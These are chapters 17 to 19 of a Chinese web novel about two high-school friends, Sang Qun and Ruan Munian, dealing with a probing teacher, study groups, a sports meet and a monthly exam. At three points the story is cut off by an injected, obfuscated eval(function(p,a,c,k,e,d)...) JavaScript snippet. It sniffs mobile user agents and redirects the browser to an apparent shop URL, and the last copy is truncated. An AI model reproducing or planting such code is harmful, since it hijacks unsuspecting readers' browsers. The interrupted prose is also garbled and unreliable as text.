“那你能解释一下,为什么每节自习课你都不在教室里呢?”班主任看向他的目光带着探究,“后门的保安大哥总说差点就能逮住那个翻墙的小子——是你吧?” 吹什么牛呢,桑群心想,就大叔那速度连他影子都不一定看清,还差点。 班主任眯起眼:“桑群?” “嗯?”桑群应道,“哦。” “哦是什么意思?”短短几个字简直让人火大,班主任极力压制住自己的情绪,问,“不上自习课,那你是跑出去干什么了?” 桑群却避开了这个问题:“抱歉,需要补假条吗?” 班主任:“……” 规矩上是这样,但这是重点吗? 班主任深吸一口气:“你不上自习的理由,跟不申请晚自习的理由是一样的吗?” 桑群顿了顿:“……嗯。” “你说家离学校路程遥远,”班主任看着他说,“可我前两天分明碰见你在路口买馄饨,还提进旁边的小区里——遥远?” 桑群眼皮一跳,她怎么连这个都知道? “午休暂住,”桑群想了个理由,“晚上回家。” “是吗,”班主任问,“那你今早的自习课又干什么去了?” “……” 桑群保持沉默。 “本来我觉得,高二的孩子,离成年也不远了,应该有自己做选择和负责任的权利,”张老师微微皱眉,缓缓道,“但是桑群,拒绝沟通解决不了问题,如果你不愿意回答我的问题,我只好打个电话跟你家长沟通了。” 什么。 桑群眉心皱起,说了第一句长句:“没必要。就是单纯逃课,如果您觉得妨碍到了您的工作,我可以写检讨反省。” 张老师:“你还是没有回答我的问题。” 桑群沉默以对。 办公室的氛围顿时剑拔弩张,虽然非常凑巧没有旁人在场,但还是压得人喘不过气。 班主任没再说话,从抽屉里掏出一本档案册,已是明晃晃的威胁。 桑群垂着眼看向那本牛皮簿子,鼻尖回想起一股熟悉的灰尘味。 “没必要。”他说,“我理解我的有些行为可能给您管理班级造成了困扰,抱歉,下次我会尽量不给您添麻烦……但也请您尊重学生的隐私,有些事不适合全盘托出。” 他的嗓音依旧冷淡平静,仿佛竖起坚固的冰墙抗拒所有人的靠近,礼貌但疏离,愿意向规则妥协但不会迈出舒适圈半步。 就算…… 桑群默想,如果班主任执意要打,那就打吧。 反正档案里面记录的那串号码,早就是空号了。 班主任看着他,心感无奈的同时,也察觉到这个孩子身上不同于同龄人的一面。 他的目光……太平静了。 既然下定决心要管教,一开始跟人家闹不痛快肯定是不可取的。班主任本也没有叫家长的意图,只是想逼一逼,看看能不能多了解他一点。 可惜桑群的嘴戒过毒,根本撬不开。 “行吧,”班主任没再继续逼问,揉了揉眉心,“假条需要家长签名同意,再拿给我审批。另外,你这几天的物理作业不合格,重新做一遍吧,有什么不会的多问问同桌。” “好,”桑群依旧淡淡道,“谢谢老师。” 办公室的门正对着太阳,桑群离开时,背影轮廓在光下模糊削减,看起来仿佛一片薄削的纸。 然而纸是脆弱的,桑群不是。 回到教室,同桌推了一张纸条到他桌面上,一面写满了“不是垃圾”,另一面写了三个字“怎么样”。 桑群提笔,回他“没事”,然后把不是垃圾的垃圾丢回去。 快下课的时候,桑群戳了戳旁边人的腰,低低说了句:“钥匙。” 出租屋的钥匙只有一把,这些天由阮牧年带着,晚上特意留门桑群才能进来。 说这话的意思大概就是桑群今晚不去晚自习,但也不会再外出了。 阮牧年把钥匙放到他手心,又轻轻捏了捏。 一起吧。 放学一起回去吧。 桑群会意,颔首。 阮牧年照例留下来多写了会儿作业,桑群单肩拉着书包在巷口等他。 今天的桑群格外沉默,拎过阮牧年的书包也只是安静地走在前面,阮牧年或多或少猜到了些什么,没敢贸然搭话。 拧锁,开门,阮牧年先进门,接过书包们放到椅子上,而桑群合上门,原地倚靠在门板上。 阮牧年回头,叫了他一声:“桑群。” 桑群就这样看着他,然后张开手。 阮牧年走过去,紧紧抱住了他。 柔顺的发丝贴在颈侧,阮牧年的拥抱一直很柔软,像塑料袋一样。 难怪人们喜欢毛绒绒,玩偶宠物之类的,抱在怀里很治愈,比如团团、囊囊,比如年年,能让人心情变好。 阮牧年问他:“怎么一下午都不太高兴的样子。” 桑群将下巴搭在对方肩上,安静了一会儿才低声开口:“想起了一些以前的事。” 阮牧年抱在他背后的手轻轻滑动,连拍带抚,小心地问:“班主任她……说了什么?” “……她差点要给我妈打电话,”桑群闷嗤一声,说,“都拿出档案册了。” 阮牧年心里一紧:“那她……” “没事,”桑群说,“没事。只是想到那份档案很久没更新了……这么多年了,我居然还记得那串数字。” 阮牧年怔了怔,隐约反应过来他在说什么。 “肌肉记忆吧,”他强硬地转移这个话题,问,“这几天怎么这么忙?看你都没休息好。” “嗯,”桑群闭上眼,放低嗓音道,“有一批货加急,这些天一直在赶工。今天中午终于忙完了,晚上休息一下。” “那你待会儿赶紧去补一下眠,”阮牧年说,“我煮点东西温在锅里,你醒了去吃,好不好?” 桑群靠着他没动弹:“嗯。” 阮牧年又摸了摸他的后背:“要原地睡着啦?” “没,”桑群转过脸,鼻尖抵着阮牧年的侧颈,气息温热,“我不全是因为这些事低落,不用刻意安慰我。” “坏心情是需要调节的,”阮牧年抱着他轻柔地说,“如果你愿意倾诉,会好受很多;如果你不愿意告诉我,那我只能多抱抱你了。” “小塑料袋,”桑群捏了捏他的腰,说,“我只是忽然觉得,挂念的总是抓不住,想忘记的却始终忘不掉……好像一直以来都是如此。” “怎么会抓不住呢?”阮牧年抱紧他,“你只要张开手,就会有人牵住你了。” “谁啊。” “谁都有。但你要张开手,要走到太阳底下。” “那多热。” “……那带把遮阳伞吧,可以抹点防晒霜,但不要太多哦,不然看不清你原来的脸了。” “笨不笨,戴顶帽子就足够了。” “还有腿呀,手臂呀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356295|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些地方就让它晒吗?” “晒得到吗,反正你总缠着。” “把我当遮阳伞啊?”阮牧年在他背上不轻不重地拍了一下,“美得你。” 桑群轻哼。 他们都没有提及想忘记的为什么忘不掉。既然想让那些过往埋葬在记忆的云雾里,就不需要过多谈论。 仿佛回到了小时候,像两块小蛋糕一样黏在一起,声音低低地说着话,话题漫无边际随心所欲,现实的重担在这样的时刻被他们抛在脑后,只剩下畅谈的苍穹宇宙和身边的人。 这些年这样的场景其实很少见了。但幸运的是,如果桑群想,阮牧年依旧会朝他走来,给他一个久违的拥抱。 感觉怀里的人已经泛起困意,阮牧年顺着他的脊椎骨轻抚:“去床上睡吧。” 桑群确实很累,聊了一会儿天,终于把那根紧绷的弦慢慢松掉,倦意随之涌上。 安顿好某人,阮牧年给团团换了个姿势和朝向,轻声嘱咐它:“阿君羊容易做噩梦,团团,你要照顾好他。” 团团无声地表示收到。 轻轻合上门,再轻手轻脚地在厨房里温好饭菜,阮牧年给桑群写了张纸条,是今天的作业清单,然后把作业一本一本在桌上按顺序叠好,以免某人又乱做。 背起书包,可怜的物代要回去上晚自习了。 经过作业一事,班主任还没机会在全班面前发作,可想而知明天的物理课得有多煎熬。 晚上回去再监督着桑群把物理作业赶一下吧,别的科就算了,班主任可不能正面刚啊。 果不其然,张老师第二天上课的时候,就严厉批评了三班这次的作业情况。 全班噤若寒蝉,埋着头瑟瑟挨批。 巴掌打够了,班主任缓过语气,开始表扬那些作业质量一直优秀的同学,接着给全班递了颗甜枣。 “这次的事我也反省了一下,有些作业确实安排得不妥当,”张老师推了推眼镜,说,“所以接下来,我会减少每天的作业量,尽量控制在二三十分钟内,当天没课就不布置作业了——” 话音未落,班级内已经有小小的躁动。 减少作业谁不高兴啊? “但是,”班主任话锋一转,“我对物理作业质量的要求会提高,不仅要自己思考自己动笔写完,还要及时用红笔批改,归纳整理在错题本里……” 有得必有失,班主任的要求不算严格,之前没讲清楚才会招致那么多同学敷衍的恶果,对于大部分同学来说,这消息已经算是福音了。 “另外,”班主任还没讲完,“为了督促大家努力学习物理,我想了想,决定在班里设置学习小组,大家自发组队,互相监督互相学习……” 张老师没把话说全,只给了大家这么个方向,这几天可以多找人交流沟通,下周二之前要把小组定下来。 果然还是采取措施了,弄完这个小组,到时候肯定会给他们排名,什么月考平均分最低的小组接受惩罚之类的,以此激励大家发奋学习。 阮牧年在心里幽幽地叹了口气。 这种学习方式,受累的往往是小组内成绩好的同学,一旦彼此之间的学习节奏没有调好,就很容易降低效率。 下课后,张老师递给他一张名单。 “这是我根据上学期期末物理年段排名以及这几次作业情况选出来的学习小组组长,”办公室里,班主任捧着咖啡说,“到时候你把它贴到教室后面,让每个小组确定好人员之后,在名单上签字。” “好的老师。” 阮牧年接过表格,第一行赫然躺着他的名字。 “另外,牧年,老师想拜托你一件事。” 张老师的语气有些怪异,阮牧年抬眼:“什么事啊?” “老师想在你的小组里,给桑群预定一个位置,可以吗?” 阮牧年愣了愣:“这……” “我看了他上学期的物理成绩,在我们班基本倒数,”张老师说,“作为弥补,你们小组只要3个人就够了,别的小组5个人,你觉得能接受吗?” “呃,”阮牧年道,“这是要给我设置什么KPI吗。” 张老师笑了笑,说:“没有没有,可能这么说有些唐突,但老师希望你可以听完我这么做的理由。” 阮牧年点点头:“老师您说。” “你知道桑群家里的情况吗?”张老师忽然发问。 阮牧年僵了一下:“不知道。” “我原本以为他是那种不爱学习的孩子,”张老师叹了口气,说,“但后来……总之我通过一些渠道,了解到他似乎一直在打工。” 所以才会晚自习不上,自习课翘课。 张老师:“昨天我想跟他谈谈,却什么也问不出来。我能理解你们这个年纪的孩子自尊心强,况且我才刚教你们没多久,有戒备心是正常的。但能考进咱们二中,中考成绩不会差,既然生活上帮不了他什么,总要在学校里多抓抓他的学习。” “当然了,老师不是不讲道理随便压榨课代表的人,”张老师补充,“趁着这次建立学习小组的机会,老师想拜托你帮这个忙,尽量试一试。 “国庆前,就是这学期的第一次月考,到时候不论结果怎么样,如果你不愿意再帮下去,随时可以跟我说,老师会另想办法,不再麻烦你……” “牧年,”张老师的目光落在他身上,带着某种有些灼热的真挚,“可以吗?” 18. 18 走出办公室的时候,阮牧年捏着小组名单表,看着走廊边葱郁的树冠,长长地叹了口气。 真是个苦差事啊。 班主任很会看人,辅导桑群的难度不止一星半点,对此他深有体会。 有一点倒是说错了。 桑群初中的成绩也很烂。 只是初三那年,下学期,他追在桑群后面给他补习,才堪堪把某人拉上岸。 看着表上自己名字后面的格子,想到不久之后那里会填上桑群的名字,阮牧年又想叹气了。 努力装了这么多年不熟,结果没逃过班主任按头撮合。 回去路上还遇到了程抒晴,得知对方也被按头组队带班上的倒数学渣,心情稍微有些平衡了。 贴名单的时候,刘嘉凑过来:“牧年,这是什么?” “班主任选的小组组长,”阮牧年撕掉塑料胶带,说,“来挑选你的心动组长。” 刘嘉乐了:“那我铁定选你啊!” 阮牧年点头:“OK。” 学委也凑过来:“那我呢那我呢?一哥求带飞。” “你不行,”阮牧年按着纸跟墙缝对齐,半眯着眼说,“你也是组长。” “唉,真遗憾。” “我行不?”体委搭着刘嘉的肩膀,一对粗眉飞挑,“我那成绩肯定当不了组长,我也想抱一哥大腿嘿嘿。” “不好意思,”终于贴完了,阮牧年直起腰,摇了摇头,“人满了。” 体委愣了愣:“一组多少人啊?” “5个人,一共分了10组,”阮牧年解释道,“咱们班48人,所以班主任说我这组三个人就可以了。” 刘嘉算了算:“嘿,那我很幸运啊,正好抢了最后一个位置……那还有一个人是谁?” 阮牧年:“是……” 一旁响起熟悉的冷冽嗓音:“让让。” 桑群刚上完厕所回来,就发现教室后面围着一堆人,不知道在干嘛,阮牧年站在正中间。 看物代表演杂耍吗? 他纳闷道:“堵这干什么。” 挡住他回座位的路的正是刘嘉,意识到这一点后,前桌同学飞快闪腰让开,不敢随意招惹这位爷。 谁知旁边的阮牧年开口:“桑群。” 没事找事干嘛啊,刘嘉吓了一跳,又听阮牧年说:“没什么意见的话,我就把名字写上去了。” 什么啊,还没说最后一个人是谁呢……刘嘉慢跑一圈的反射弧突然咣地弹回来,等等,阮牧年刚刚的话被打断了,连起来就是…… 那还有一个人是谁? 是……桑群。 刘嘉:“……” 留前桌在原地独自凌乱,阮牧年从自己桌上捞了一根笔,回到后墙,弓腰在自己名字后面端正地写下两个字。 桑群。 写完后,还回头又问了一句:“现在想退出还来得及。” 自从开学第一天在桑群面前当过一次显眼包,刘嘉就有点怕这位六爷,能绕道就绕道,眼下却要跟对方同组学习。 体委在一旁悄声说:“小嘉儿,你要是不敢,可以把好位置留给兄弟。” “什、什么不敢,”刘嘉挺起腰板,“我可是要跟着牧年好好逆袭,到时候羡慕哭你们几个的。牧年,你写吧,我都可以。” 阮牧年抿唇笑了笑:“好呢,加油啊。” “啧,”捡不到漏,体委转头凑到学委那里,“学委大人,您这有没有空位呢……” 听了后面一通对话,桑群坐在座位上,等阮牧年落座后,问:“搞什么。” 刘嘉条件反射开始紧张,阮牧年平静地告诉他班主任的安排,以及月考需要好好考的艰巨任务。 “总之,咱们现在就是组员了,”刘嘉小心翼翼地打圆场,生怕哪句不对后座两个打起来,“方便透个底吗,牧年,你上次物理考多少啊?” 阮牧年:“96,你呢?” “这么高,”刘嘉深吸一口气,“我才72,捡漏了几分,不然就要在及格线边缘徘徊了。” 两人的目光不约而同转向桑群。 桑群:“……?” 刘嘉问:“你呢,六……呃桑群?” 桑群:“……6。” 差点脱口而出一声“六爷”,好像把对方惹怒了,怎么办怎么办,刘嘉冒汗找补道:“呃,我不是那个意思,就是……” 桑群疑惑:“不是哪个意思?” “就、就……” 倒是阮牧年来了一句:“你怎么好意思选理科呢?” 怎么突然攻击起对方来了?刘嘉惊恐,就听见另一位开了口:“96很高贵吗?” 诶? “多了90分呢,对你来说够高贵了。” “……我只是睡着了。” 刘嘉眨了眨眼,等等,原来六爷那句“6”不是在嘲讽自己,而是他期末考物理真的只考了6分吗? 难怪班主任要重点关注。 阮牧年叹了口气,从桌肚里翻出物理课本,丢到桑群桌面上。 “总之,先把基础补上来吧,”他靠在椅背上,微仰着脖子清点,“笔记补全,作业跟上,错题整理好……” 桑群捏起来自同桌的馈赠,不愧是阮牧年,开学没几天,课本边角已经皱起来了。虽然有其认真学习的缘故,但桑群觉得更大原因还得是他那诡异的牛劲,连纸张都不放过。 “别乱扔东西。”整好桌上歪掉的书本,桑群警告道。 阮牧年置若罔闻。 又这样,桑群无语,把他的课本塞进抽屉,想了想,怕哪天忘带某人写不了作业,最后不情不愿地收进了书包里。 阮牧年忽然偏头,目光与他相接,里面灿灿碎着阳光,没有什么特别的情绪,眼尾微眯,是很客套的假笑。 “以后要多请教啊,”阮牧年伸出左手到他面前,说,“同桌。” 桑群坐在原地,双手插兜,没有要跟他握手的意思。 被那双眼盯了许久,桑群才开尊口:“哦。” 有回应就行,阮牧年收回手,继续写作业。 余光总能瞥见旁边人挺直的腰背,桑群别过脸,窗外的阳光不知何时强盛起来,树影间斑斑点点。 在外人面前,阮牧年不愿意跟他走得太近。一开始会觉得难受,后来渐渐猜到他的用意,不适慢慢转化成无奈,迁就着便成了常态。 也是在这些刻意隔开的距离里,他发现自己能认识到另一个阮牧年。一个被大众目光包围起来的,阮牧年。 阳光帅气,开朗自信,但又远不止如此。总是恰到好处地把握情绪表达,总是适时引导话题走向,总是在擅长的领域闪闪发光,而他偶尔垂下来的眼角,居然能看出凌厉的痕迹。 桑群经常在这时恍然想起,其实阮牧年才是哥哥,只是因为缺爱赖着自己几年,不是一直那么可怜可欺。 小豆丁总会长大,而阮牧年永远会比他先一步长大。 等眼界开阔,他视野里的万千世界还能看得见阿君羊的身影吗。 桑群的眼睛眨了眨,有什么东西打断了他飘远的思绪。 前桌半扭着身子,向他递出一本类似练习册的东西。 “这是我上学期买多的课外教材,全新的,一个字没动,”刘嘉看着他,小声说,“桑哥,你放心做,加油。” 桑群:“……” 这一个两个的都怎么回事? 不知道的以为他明天就要上高考考场了。 殊不知刘嘉内心也在怜爱他。 太惨了六爷,6分真不是随随便便能考出来的成绩,而他还要承受这份荣耀带来的压力,在老师和课代表的监视下亲手碾碎自己的骄傲。 不要被他们看扁了,奋斗吧六爷!拿着他的垃……不是,他多出的宝典,一路厮杀到物理之巅吧! 前桌的目光仿佛燃着一团火,炽热非常。 ……也莫名其妙。 感觉自己这里要变成垃圾回收站了,桑群把练习册放进抽屉,拉着张脸:“哦。” 早就习惯了六爷冷淡的做派,没想到对方真的愿意收下他的垃……呸,宝典,刘嘉有些感动,也没那么怕他了。 这些天班级氛围变得活跃了许多,大家都在积极寻找组员或组长,最后名单定下来,班主任也点了头。 不出阮牧年所料,果然要小组竞争,倒是没有提惩罚,只是列了一些奖励。 既然张老师说不论桑群月考成绩如何,都不会强留他,想来小组排名低一点应该没什么损失。 有了小组学习,大家的学习热情好歹有些上涨。刘嘉一下课就扭过来问他问题,阮牧年看了一眼,拿出草稿纸算给他看。 刘嘉基础还行,中等题错误率比较高,应该是没梳理题型导致的,必须多做多思考。 阮牧年边讲边盘算着,组里有个桑群,排名肯定不会太高,但也不能太难看。 他的好胜心一直不减,更何况年段里还有个压在他头上的96.5。 不知道别人是怎么样的,学习上阮牧年习惯给自己施加一些压力,以激励自己进步。 快讲完了,旁边位置的人站了起来,阮牧年伸出手抓住他的衣袖,嘴里飞快念完答案,然后看过去。 桑群撇头:干嘛。 阮牧年眨眨眼:还回来吗。 桑群微眯,无奈垂下眼:回。 阮牧年松开手。 桑群去上厕所了。 刘嘉看得一头雾水,物理题是,后座这俩也是——他俩刚是在用眼神沟通吗?到底说了个啥? 回头看见前桌迷茫的眼神,阮牧年问:“没听懂?” “呃……我再看看。” 阮牧年点点头:“慢慢消化,错题本别落下了。” 刘嘉摸着下巴看草稿纸,嘴上不吝夸奖:“感觉牧年你很有教书的潜质啊,嗯嗯,嗯,我好像悟了。” “理解透彻的话,讲题不难的,”阮牧年笑了笑,说,“老师的潜质得看能不能教一群人,我只教你们两个,已经很轻松了啊。” 心里却想,还是得感谢初三的桑群,不然现在没法这么得心应手。 刚刚问他今天自习还回不回来,既然不忙,那就给他布置点学习任务吧。 脑里捋着多线程任务,阮牧年摸出小笔记本,在上面打勾。 开学的一段时间往往是最清闲的,然而危机也在悄然迫近,比如九月末的月考,比如——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“跳高、1000、接力,”阮牧年数着,然后把食指按在同桌的桌面上,“你都报上他的名字。” 体委傻眼:“啥?” 还以为他没听懂,阮牧年补充道:“桑群。” 体委后背直冒汗,虽说听过六爷骁勇强健的传闻,可那毕竟只是口口相传,何况他压根不敢跟人搭话,更别说求他办事。 牧年跟他同桌是有什么仇吗,体委询问的目光转向刘嘉,后者回以他一个看淡世事的眼神,然后摊手。 习惯了,后座这俩时不时就要互坑一下的操作,他已经从胆战心惊进化到心如止水了。 “呃,这不太好吧,”体委小心开口,“毕竟没有经过他本人同意……” “先斩后奏呗,”阮牧年靠在椅背上,笑着说,“你都报上去了,他还能拒绝吗?” 这样真的对吗? 所以他俩一定是有什么仇吧! 正说着,事主回来了,一坐下就感觉自己被周围人的目光包围了。 桑群:“……?” 又咋了。 阮牧年笑吟吟道:“给你报了几个体育项目,跳高一千接力,要好好为班级争光啊。” 就、就这么说出来了? 会被六爷一脸不爽地暴揍吧? 体委在一旁担忧。 桑群没什么表情:“……哦。” 哦。 嗯?这就完了? 体委下意识看向刘嘉,前桌一副过来人的姿态,慈爱地看了他一眼,耸了耸肩。 没想到六爷这么好说话,体委动了歪心思,又道:“那桑群同学,不知道你对班级篮球友谊赛感不感……哎呦。” 刘嘉赶紧踹了他一脚,别得寸进尺啊哥们。 桑群一口回绝:“不去。” 体委抱着脚一脸失望。 倒是阮牧年支着脸看过来,说了句:“我可是主力队员哦。” 桑群:“……” 这也要比? 阮牧年又说:“让他替补呗,就当凑人头了。” 桑群:“呵。” 呵是什么意思?这是去还是不去啊?没有刘嘉千锤百炼的心性,听不懂他俩对话的体委在心里欲哭无泪。 阮牧年对他挥挥手:“表格拿过来给他填吧。” 填完了,体委拿起来一看,跳高1000接力篮球……他宣布六爷简直就是他的再生父母啊。 1000还差一个人,体委看向阮牧年,目光再度变得灼热,后者实在抵挡不住——不是被他打动,而是深感不适,无奈道:“……行,200换1000。” 体委终于喜笑颜开:“牧年哥们爱你!” 说这话的时候,向来懒得理人的桑群忽然抬头看了他一眼。 体委:? 他又说错话了? “行了,你没事就一边玩儿去吧,”刘嘉转过来赶人,“我要开始问牧年问题了。” 耳边的喧闹渐渐远去,桑群闭目靠在椅背上。 总觉得让他参加运动会没那么简单。 暑假末,一向不爱动的阮牧年奋起锻炼了几周,想来那时他刚刚知道妈妈决定再婚,借此宣泄心里烦闷。 这次难道是察觉到了什么吗。 “为什么让我参加运动会?” 回到家,桑群直接问出了口。 19. 19 阮牧年正在换鞋子,闻言道:“你该多运动一下了啊,看着没什么活力。” 桑群皱眉:“我不喜欢吵。” “桑群,不能总是这样呀,”阮牧年坐到沙发上,仰头看着他说,“我不希望你离我太近,但也不希望在我看不到的地方,你总是一个人待着。” 桑群抿了抿唇,没说话。 “最近好像不是很忙了?”阮牧年抱着枕头问他,“在学校的时间多了,就能看出来不止他们怕你,你也不乐意去搭理他们。” 桑群在他身边坐下:“矛盾。” 既不愿意他被人注视,又要他融入集体。 “很矛盾吗,好像是哦,”阮牧年歪着脑袋说,“可能不同年龄段有不同的想法吧。过去我觉得那样做能保护你,现在却好像是在伤害你。” 桑群不置可否,只是捏了捏他的手指。 “三班的氛围挺好的,”阮牧年闭着眼说,“我感觉……应该不会再出现以前那种事。所以,往前迈一步吧。” 桑群哦了一声:“都听你的,大教育家。” 阮牧年笑了,转过头看他:“我在教你社交呢,这么不情愿?” “怎么会。” 阮牧年伸手捏了捏他的脸:“天天冷着张脸,吓人,也就是我看惯了才能忍受你。” 桑群无语:“我哪里冷脸了。” 他只是懒得有表情而已。 “不自知,”阮牧年惊恐,“更可怕了。” 桑群:“……扯淡。” “唉——”阮牧年长叹一口气,最近叹气的次数越来越多了,“下周就要月考了,你要加油啊桑桑。” 桑群:“哦。” “很有把握?” “顶多及格。” “不知道的还以为您是满分选手呢,”阮牧年侧靠在沙发上,道,“这么淡定。” “难道像你紧张得上蹿下跳吗?” “……我没有。” “有,这几次洗头都掉发。” “?我掉发了?你怎么不告诉我!” “又没秃,急什么。” “你还真要等我掉光了才愿意说吗?” “那不至于,多掉几次你自己都能察觉到。” “啊啊啊都说理科耗发,怎么办啊,我要变丑了呜呜。” “别哭,现在还很茂密。” “你掉了吗?” 桑群违心道:“掉了。” “骗人,你都迟疑了,”阮牧年抱着脑袋,“是不是你手劲太大,把我毛全薅下来了?” “你以为谁都跟你一样吗。” 招笑,牛劲大王说别人劲儿大,他怎么不怪自己的反作用力? 嘶。 跟阮牧年待久真是学疯了,这都能想到物理。 桑群招手:“转过去,躺下。” 阮牧年奇怪:“干嘛。” 他躺到桑群腿上,太阳穴处被微凉的指尖按住,轻揉起来。 “嗯……舒服,你什么时候学的呀?” “帮我妈按过,”桑群说,垂着眼的神情意外温柔,“按完好好睡一觉,头发就不掉了。” 阮牧年半信半疑:“真的吗。” 桑群:“嗯。” 阮牧年:“什么原理?” 桑群:“玄学,心诚则灵。” 阮牧年:“……” 阮牧年:“那我也给你支个招吧。” 桑群警惕:“什么?” “午睡的时候把课本翻开盖在脸上,”阮牧年闭着眼说,“晚上睡觉再把课本合上垫在枕头底下,这样可以提高复习效率。” 桑群迷惑:“……什么东西。” 阮牧年打了个响指:“量子力学,神奇吧?” 桑群:“?” 知识渗透论都比这个听起来靠谱。 “胡言乱语,”桑群在他脑门边轻弹一下,“赶紧去洗漱。” 阮牧年抱起脑袋:“哎呦。” 虽说这方法有些离谱,但桑群尝试每次睡前过了两眼课本,好像还真有点效果。 当然,他绝对没有把课本盖在脸上或者放枕头下。 量子力学影响不到他。 月考这天,他难得没有赖床,坐在茶几桌边听阮牧年唠叨。 “很多容易粗心的地方千万要小心,能拿一分是一分,”阮牧年咬着烧麦含糊道,“看清楚精准到哪一位,不同单位别忘了换算,受力分析图一定要画……” “你糊涂了吗,”桑群说,“第一门是语文。” “……” 阮牧年差点咬到自己的舌头。 桑群伸手过来摸了摸他的额头,没发烧啊,焦虑成这样? 阮牧年长呼一口气:“反正,语文也要好好考,作文字数要写够,课内填空一定要拿分……嗯,嗯,字写好看点……” “难怪我们组只有三个人,”桑群看着他若有所思,“你立了什么flag?” “学习小组可是要排名的啊,我们不能落后太多。” “我问你跟班主任保证了什么。” “没有,”阮牧年顿了顿,看着他说,“是班主任找的我,想请我拉你一把。” 桑群眯眼:“这次月考?” “嗯,”阮牧年点头,“加油啊桑桑,我们……组就靠你了。” “没说全啊,”桑群掐了他一把,“得守口如瓶?” “……不是,”阮牧年喝了口牛奶,盯着烧麦半天才说,“是我不太想告诉你。” 桑群:“……为什么。” “班主任希望我帮一帮你,月考之后,不论如何我都可以选择放弃,”阮牧年说,“你能明白吗,只有你的成绩有起色,我才有权利决定离不离开,否则我没有理由说我愿意留下来继续帮你。” 桑群沉默了一下:“你……” “听起来是不是有一点……自找麻烦?”阮牧年笑了笑,说,“总觉得知道妈妈要再婚后,我的很多想法都发生了变化,回看以前的选择,会觉得自己一直在打转……嗯,固步自封。” 好像的确是这样,那天阮牧年第一次跟他说,要往外迈出一步。 “好多现状都是维持不了的啊,”阮牧年垂着眼,低低道,“不论是你围着我,还是我围着你,总会被水流冲散的。每个人都在被裹挟着往前走,我无法做那个绝对静止的人,只能用力拉着你。” 桑群看着那张熟悉的脸,迷茫又带着坚定。或许这就是阮牧年,从颠沛流离的亲情里脱身,可能依然不太确定自己是否正确,但已明白是非功过皆诉诸己身,该在意的只有心系之人。 心里有股说不出的滋味,酸酸酥酥还带着一种言不明的微颤。 “掌握主动权后,”桑群问,“你想怎么选择?” “这还用问吗,”阮牧年看着他,目光无奈温柔,“我总是认可你说的许多话,爱是伴随责任的,我曾说人情不是等式,两边必然相等,但也绝非指其中一方为零。我现在想做的,就是我的责任。” 桑群支着头,好半晌才伸过手来,先在他脸上捏了捏,再拍了拍头。 “长大了啊。” “干嘛,”阮牧年呆了呆,反应迟钝地抱住头,“又要占我便宜。” “这算占便宜吗,你喊了我好多年哥哥。” “还不是你,知道我的生日后藏着掖着不愿意透露自己的,就怕被戳穿自己年纪小的事实呗?” “嗯嗯,好,哥哥。” “……好反常,你不会是要来个大的吧。” “指什么?” “比如乱考、中途睡觉之类的,不要搞我啊。” “哼,不会。不至于。” 讲开了,心情便舒畅起来,那种隐约的焦虑和烦躁烟消云散。 阮牧年哼哼着收拾桌子,桑群拎起两人的书包去换鞋,站在玄关叫他:“走了。” “好哦。” 正如阮牧年所说,这些年他对待桑群像是环住但不敢触碰的塑料袋,桑群是什么样,塑料袋就会随之变形,而从来不敢要求桑群变成什么样。 或许是胆怯,或许是悲观,可他总得面对一个问题,假如某天塑料袋缺了一个口子,他该用什么挽留? 所以他从前一直在纵容桑群,纵容他逃课、敷衍作业、应付考试,现在终于敢鼓起勇气,揉捏怀里的小橡皮泥人了。 是好事啊。 走前应该跟团团来个熊抱的,毕竟都被阿君羊亲自夸了呢。 走进考场的时候,他还在想要给团团换套新衣服,之前给它养伤闲置了太久,衣服有些脏旧了。 面前忽然出现一只手掌,阮牧年吓了一跳,后退一步才看清是程抒晴。 “牧年,叫你半天了,发什么呆啊?” 阮牧年啊了一声:“抱歉,我刚才走神了。嗯?我们同个考场?” “是啊,”程抒晴笑说,“以前来第一考场没几个认识的,现在可好,少说有三分之一是一班的,加上你们三班几个、二班几个,全是熟人啊。” 阮牧年一看,确实,毕竟高一一班是根据中考成绩挑选出的拔尖班,大部分人选全理自然就留在了本班,他现在扫一眼也基本都是之前同班的同学。 “挺好的,就当团建考试了,氛围也会轻松很多嘛,”阮牧年笑着说,“你是几号座?” 程抒晴指了指靠窗的某个位置。 阮牧年这才发现,她今天的发绳是红色的,马尾里缠着红丝带,特别亮眼。 难怪他说程抒晴怎么那么眼熟。 之前他每次考试,检查完无聊,偏头发呆的角度,总有一个头发里缠红丝带的女生坐在窗边。 据他观察,这种手法有些复杂,单是看着在脑内构思出丝带的缠绕方式就非常打发时间,无聊人士强烈推荐。 “原来是你,”阮牧年恍然,告诉她之前的缘分,“我一直很好奇,这根丝带是怎么缠成这样的?” “啊?”,程抒晴愣了愣,“就,这样那样,啊。” 阮牧年:“?” “你不是吧,”程抒晴失笑,“有这功夫多思考下几何解析多好。” “几何解析我能拿满分啊。” “……我收回刚才的话。” “别气馁,”阮牧年说,“这次物理我会争取向数学靠近,努力拿满。” 什么鬼,一个0.5还念念不忘上了。 程抒晴:“虽然但是……第一科好像是语文?” 阮牧年:“……呃。” 程抒晴眯眼:“你不会还带尺子圆规进来了吧?” 阮牧年:“……” 伤人的话说一遍就够了,怎么还带追加攻击的? 程抒晴捂嘴笑了半天,回位置前还说:“我很期待你这次的反超呢。” 阮牧年:“……” 没事,战前宣言环节虽然败了,但瞬息万变的考场才是最重要的。 当然重要了。 考场是,瞬息万变更是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 